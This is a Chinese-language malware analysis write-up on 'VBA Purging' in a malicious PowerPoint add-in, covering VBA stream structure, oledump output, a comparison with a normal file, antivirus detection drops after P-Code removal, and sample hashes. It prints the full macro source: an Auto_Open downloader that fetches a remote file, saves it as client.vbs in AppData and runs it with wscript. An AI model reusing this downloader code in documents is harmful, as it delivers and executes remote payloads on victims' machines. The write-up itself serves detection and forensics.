恶意宏不一定同时保留源码和编译缓存。分析一份 PowerPoint 加载项(PPAM)时,如果模块流里还有可以解压的 VBA 源码,而存放编译后 P-Code 的缓存区是空的,分析就应该转向源码和入口函数,而不是因为反编译器没有输出就结束。
样本是 2020 年记录的一份 PPAM:MD5 为 730a8401140edb4c79d563f306ca529e,SHA-256 为 20274a55d76a2fbd5f2c0ab727758b21202b22af95f6c0edba01b4b8af060e11。命令在 Windows 命令行中运行,工具是 zipdump.py 和 oledump.py(后者用 Python 3.7 执行)。关注点是 VBA 存储结构,以及它造成的静态检测盲区;某个结构特征本身不等于恶意。
模块流里有两种表示
VBA 模块流通常分成两段:前面是编译缓存 PerformanceCache,保存与编译结果相关、依赖具体实现的数据;后面是 CompressedSourceCode,保存压缩后的源码。把两段统称为“宏代码”会丢掉关键差别:它们可能彼此不一致,也可能只保留其中一种。
两段的分界不是靠搜索字符串找到的。dir 流中每个模块都有一条 MODULEOFFSET 记录,给出该模块压缩源码的起始偏移。dir 流本身是压缩的,分析工具要先解压它,再把这些记录与具体的流名称对应起来,才能正确切分每个模块。
| 偏移 | 名称 | 类型 | 大小 | 值 |
|---|---|---|---|---|
| 0x00 | Id记录类型,固定为 0x0031 | uint16_t | 2 | 0x0031 |
| 0x02 | Size后面 TextOffset 的字节数,固定为 4 | uint32_t | 4 | 0x00000004 |
| 0x06 | TextOffset压缩源码在模块流中的起始偏移;本文样本为 0,下文的对照文档为 1299 | uint32_t | 4 | 0x00000000 |
缓存被清除后,源码从流的起点开始,对应的 MODULEOFFSET 变为 0。此外,_VBA_PROJECT 和 __SRP_* 等流也与缓存表示有关,所以判断“只保留源码”要看整个 VBA 存储,而不是只检查一个模块。
| 结构 | 普通文档 | 缓存被清除后 |
|---|---|---|
PerformanceCache |
从 0x0000 开始,长度可变 |
不存在 |
CompressedSourceCode |
从 MODULEOFFSET 开始,到流末尾 |
从 0x0000 开始,占满整个流 |
dir 中的 MODULEOFFSET |
每个模块一条,指向本模块缓存区之后 | 每个模块都为 0 |
这与 VBA Stomping 的方向相反。VBA Stomping 让源码缺失或被改写,编译表示仍然保留;这里是缓存缺失、源码保留,这种处理称为 VBA Purging。两者的取证策略不同,“去看 P-Code”这一条建议覆盖不了所有样本。
从 ZIP 外壳进入 VBA 存储
PPAM 使用 OOXML 容器,外层是 ZIP;VBA 工程是其中的成员 ppt/vbaProject.bin,它本身又是一个 OLE 复合文档。下面这棵树是逐层拆开后的结构,size 是 oledump.py 报告的流长度(字节)。
- 730a8401140edb4c79d563f306ca529e.vir.zipPPAM 加载项本身,外层是 ZIP
- [Content_Types].xml
- _rels
- .rels
- ppt
- presentation.xml
- _rels
- presentation.xml.rels
- vbaProject.binOLE 复合文档,VBA 工程在这里
- PROJECTsize 311
- PROJECTwmsize 26
- VBA
- Módulo1size 548模块流:缓存 0 字节,压缩源码 548 字节
- _VBA_PROJECTsize 7只剩 7 字节头部
- dirsize 434
这个结构由下面几步得到,每一步的原始输出都折叠在命令下方。
- 1
列出 ZIP 成员,定位 vbaProject.bin
先列出 ZIP 成员,找到
ppt/vbaProject.bin,避免把外层 ZIP 和内层的 OLE 复合文档混为一层。Windows cmd · C:\Demo $ zipdump.py 730a8401140edb4c79d563f306ca529e.vir.zip输出6 行
Index Filename Encrypted Timestampoutput Index Filename Encrypted Timestamp 1 [Content_Types].xml 0 1980-01-01 00:00:00 2 _rels/.rels 0 1980-01-01 00:00:00 3 ppt/presentation.xml 0 1980-01-01 00:00:00 4 ppt/_rels/presentation.xml.rels 0 1980-01-01 00:00:00 5 ppt/vbaProject.bin 0 2020-02-14 05:24:42 - 2
列出 VBA 流
枚举
vbaProject.bin内部的流:模块VBA/Módulo1、VBA/dir和VBA/_VBA_PROJECT都在。模块带有M标记,说明它仍被识别为含 VBA 宏,这不是一个空壳文件。Windows cmd · C:\Demo $ c:\Python37\python.exe oledump.py 730a8401140edb4c79d563f306ca529e.vir.zip输出6 行
A: ppt/vbaProject.binoutput A: ppt/vbaProject.bin A1: 311 'PROJECT' A2: 26 'PROJECTwm' A3: M 548 'VBA/Módulo1' A4: 7 'VBA/_VBA_PROJECT' A5: 434 'VBA/dir' - 3
按模块偏移切分缓存和源码
加上
-i选项,oledump.py会按模块偏移给出缓存区和源码区的长度,写成“缓存长 + 源码长”。关键观察是0+548:模块的缓存区长度为 0,压缩源码长 548 字节。这是分区长度,548 字节就是整个模块流,并不是“整个文件只剩 548 字节”。Windows cmd · C:\Demo $ c:\Python37\python.exe oledump.py -i 730a8401140edb4c79d563f306ca529e.vir.zip输出6 行
A: ppt/vbaProject.binoutput A: ppt/vbaProject.bin A1: 311 'PROJECT' A2: 26 'PROJECTwm' A3: M 548 0+548 'VBA/Módulo1' A4: 7 'VBA/_VBA_PROJECT' A5: 434 'VBA/dir' - 4
检查 _VBA_PROJECT 流
另一项互相印证的证据来自
_VBA_PROJECT流:它只有 7 字节,也就是头部,没有保留通常的大段缓存内容。按 MS-OVBA 规范,头部之后才是PerformanceCache,其长度等于流长减 71。VBA/_VBA_PROJECT · oledump.py -s A4 · 7 字节 00000000CC61FFFF000000Reserved10x00–0x010x61CC,规范规定的固定值Version0x02–0x030xFFFF;规范要求写入时为 0xFFFF,读取时忽略Reserved20x040Reserved30x05–0x06未定义,读取时忽略;其后没有 PerformanceCache
- 5
对照一份带缓存的普通文档
与一份普通文档
Presentation1.ppam对照,差别更容易看清:模块的缓存区和源码区长度都不为零,同时存在 4 个__SRP_*流。Windows cmd · C:\Demo $ c:\Python37\python.exe oledump.py -i Presentation1.ppam输出10 行
A: ppt/vbaProject.binoutput A: ppt/vbaProject.bin A1: 352 'PROJECT' A2: 26 'PROJECTwm' A3: M 1380 1299+81 'VBA/Module1' A4: 2308 'VBA/_VBA_PROJECT' A5: 1131 'VBA/__SRP_0' A6: 66 'VBA/__SRP_1' A7: 216 'VBA/__SRP_2' A8: 103 'VBA/__SRP_3' A9: 465 'VBA/dir'
按 MODULEOFFSET 切开后,两个模块流的布局如下:样本的整个流都是压缩源码,对照文档的源码只占流末尾的 81 字节。
- 0x00000000CompressedSourceCode0x224MODULEOFFSET = 0,源码从流的起点开始
- 0x00000000PerformanceCache0x5131.27 KiB编译缓存
- 0x00000513CompressedSourceCode0x51MODULEOFFSET = 1299
| 流 | 样本 | 对照文档 |
|---|---|---|
| 模块流 | VBA/Módulo1,548 字节 |
VBA/Module1,1380 字节 |
| 缓存长 + 源码长 | 0 + 548 | 1299 + 81 |
VBA/_VBA_PROJECT |
7 字节 | 2308 字节 |
VBA/__SRP_* |
无 | 4 个,__SRP_0 到 __SRP_3 |
恶意性来自行为,而不是缓存长度
解压源码后,调用链一目了然:入口函数 Auto_Open 创建 Microsoft.XMLHTTP 对象获取远端内容,用 Adodb.Stream 把响应保存为 AppData 目录下的 client.vbs,再交给脚本宿主 wscript 执行。读取网络内容、落地脚本、启动执行,这条链比“缓存为空”更接近判断恶意性所需的证据。
Attribute VB_Name = "Módulo1"
Public Sub Auto_Open()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://gist.githubusercontent.com/<redacted>/<redacted>/raw/<redacted>/DASASDASDASD312312%2520-%2520Copia%2520(3).png", False
xHttp.Send
Dim j As String
j = Environ("AppDATA")
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile j & "/client.vbs", 2 '//overwrite
End With
Shell "wscript " & j & "/client.vbs", vbNormalFocus
End Sub- 入口函数
Auto_Open:PowerPoint 加载这个加载项时自动调用它。 - 创建
Microsoft.XMLHTTP对象,用来发起 HTTP 请求。 - 以同步方式(最后一个参数为
False)请求远端文件。地址以.png结尾,但响应随后被当作脚本保存。 Adodb.Stream以二进制方式(.Type = 1)写入AppData目录下的client.vbs;参数2表示覆盖已有文件。- 交给脚本宿主
wscript执行刚落地的脚本。
这里应区分三层结论:
- 已经可见的结构事实:缓存缺失,压缩源码存在,目录偏移与流内容一致。
- 已经可见的代码行为:宏包含网络下载和启动脚本的调用。
- 仍需额外取证的结果:当时远端究竟返回了什么、脚本随后做了什么,以及文档是否在目标环境中成功执行。
静态源码不能替代网络响应和运行日志;远端地址现在是否可用,也不影响对历史源码的结构分析。
为什么旧的字符串规则会漏掉它
直接对文档容器扫描明文 API 名的规则,有时实际命中的是编译缓存里的字符串。同样的标识符虽然也在 VBA 源码里,但经过压缩后未必以连续的明文字节出现。因此缓存被清除后,这类规则的命中点消失了,宏的行为却可能保持不变。
这不代表所有规则都会失效:依赖流结构、解压后的源码、API 组合或执行行为的检测,读取的输入完全不同。评估时应先写清规则读的是原始容器、模块流、解压后的源码还是 P-Code,再比较命中的变化。
下面两份历史扫描结果来自同一个样本实验的两个状态:一份恶意 Word 文档(.doc,不是上文的 PPAM)的原始版本,以及清除 P-Code 后的版本。清除后的文件以原始 SHA-256 加后缀 -no-p-code.vir 命名。
| 项目 | 原始文档 | 清除 P-Code 后 |
|---|---|---|
| 大小 | 176.00 KB | 76.00 KB |
| 扫描时间(UTC) | 2019-12-27 11:17:41 | 2019-12-22 13:29:56 |
| 检出 | 44 / 61 | 16 / 58 |
44/61
Tracking-42398631-BUD-HWN.doc
61 个引擎中 44 个判为恶意
- 恶意 44
- 未检出 17
- SHA-256
b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1
| 引擎 | 判定 | 检测名 |
|---|---|---|
| Ad-Aware | 恶意 | W97M.Downloader.GRU |
| AegisLab | 恶意 | Trojan.MSWord.Agent.a!c |
| ALYac | 恶意 | Trojan.Downloader.VBA.gen |
| Antiy-AVL | 恶意 | Trojan[Downloader]/MSOffice.Agent.hic |
| Arcabit | 恶意 | HEUR.VBA.Trojan.e |
| Avast | 恶意 | VBA:Downloader-GCD [Trj] |
| AVG | 恶意 | VBA:Downloader-GCD [Trj] |
| Avira (no cloud) | 恶意 | W97M/Agent.36885547 |
| Baidu | 恶意 | VBA.Trojan-Downloader.Agent.cpw |
| BitDefender | 恶意 | W97M.Downloader.GRU |
16/58
b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1-no-p-code.vir
58 个引擎中 16 个判为恶意,1 个判为可疑
- 恶意 16
- 可疑 1
- 未检出 41
- SHA-256
f44e067e011ab13bddf3e3143ea427090ac07c59dcb434d069bcefb4fe3cb434
| 引擎 | 判定 | 检测名 |
|---|---|---|
| Antiy-AVL | 恶意 | Trojan[Downloader]/MSOffice.Agent.hic |
| Arcabit | 恶意 | HEUR.VBA.Trojan.e |
| Avast | 恶意 | VBA:Downloader-GCD [Trj] |
| AVG | 恶意 | VBA:Downloader-GCD [Trj] |
| Baidu | 恶意 | VBA.Trojan-Downloader.Agent.cpw |
| Endgame | 恶意 | Malicious (high Confidence) |
| ESET-NOD32 | 恶意 | VBA/TrojanDownloader.Agent.HIC |
| Fortinet | 恶意 | VBA/Agent.HHV!tr |
| Ikarus | 恶意 | Trojan-Downloader.VBA.Agent |
| McAfee-GW-Edition | 恶意 | BehavesLike.Downloader.lg |
| Rising | 恶意 | Macro.Run.d (CLASSIC) |
| Sangfor Engine Zero | 恶意 | Malware |
| SentinelOne (Static ML) | 恶意 | DFI - Malicious OLE |
| Sophos AV | 恶意 | Troj/DocDl-NCG |
| TACHYON | 恶意 | Trojan/W97M.Agent.Gen |
| Tencent | 恶意 | Heur:Trojan.Script.LS_Gencirc.7071761.0 |
| BitDam ATP | 可疑 | MALWARE |
| Ad-Aware | 未检出 | — |
| AegisLab | 未检出 | — |
| AhnLab-V3 | 未检出 | — |
当时的扫描页只显示了部分引擎,卡片里列出的就是这些;总数来自扫描页顶部的统计。两边都能看到的引擎里,Ad-Aware 和 AegisLab 对原始文档分别报出 W97M.Downloader.GRU 和 Trojan.MSWord.Agent.a!c,对清除 P-Code 后的版本则显示未检出。
用结构交叉验证取代单点结论
实际审阅时,可以把每个模块整理成一行:模块名称、流总长、MODULEOFFSET、缓存长、源码长、解压结果,以及是否存在入口函数。以上文的样本和对照文档为例(“—”表示上文没有展示):
| 模块 | 流总长 | MODULEOFFSET |
缓存长 | 源码长 | 解压结果 | 入口函数 |
|---|---|---|---|---|---|---|
Módulo1(样本) |
548 | 0 | 0 | 548 | 成功 | Auto_Open |
Module1(对照) |
1380 | 1299 | 1299 | 81 | — | — |
偏移至少要满足下面的边界模型:
def split_module(module: bytes, source_offset: int):
if not 0 <= source_offset <= len(module):
raise ValueError("source offset outside module stream")
return module[:source_offset], module[source_offset:]
cache, source = split_module(b"compressed-source-placeholder", 0)
assert cache == b"" and source样本指标
下面是本文涉及的样本哈希和宏落地的文件。清除 P-Code 的版本是上文实验中生成的;宏的下载地址在文中已脱敏,没有列入。
20274a55d76a2fbd5f2c0ab727758b21202b22af95f6c0edba01b4b8af060e11PPAM 加载项(本文样本)b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1恶意 Word 文档,原始版本f44e067e011ab13bddf3e3143ea427090ac07c59dcb434d069bcefb4fe3cb434同一文档清除 P-Code 后的版本
730a8401140edb4c79d563f306ca529ePPAM 加载项(本文样本)
Tracking-42398631-BUD-HWN.doc恶意 Word 文档的文件名
%APPDATA%\client.vbsPPAM 的宏下载后写入并用 wscript 执行的脚本
小结
最后保留一个重要反例:合法的生成库和 VBA 清理工具也会产生没有缓存的文档。因此:
- 零偏移、只有 7 字节的
_VBA_PROJECT和缺失的__SRP_*是调查线索,而不是单独的封禁依据。 - 反编译器没有 P-Code 输出时,继续解压源码、寻找入口函数,不要就此结束分析。
- 评估检测规则前,先写清它读的是原始容器、模块流、解压后的源码还是 P-Code。
- 更可靠的结论来自结构一致性与源码行为的交叉验证。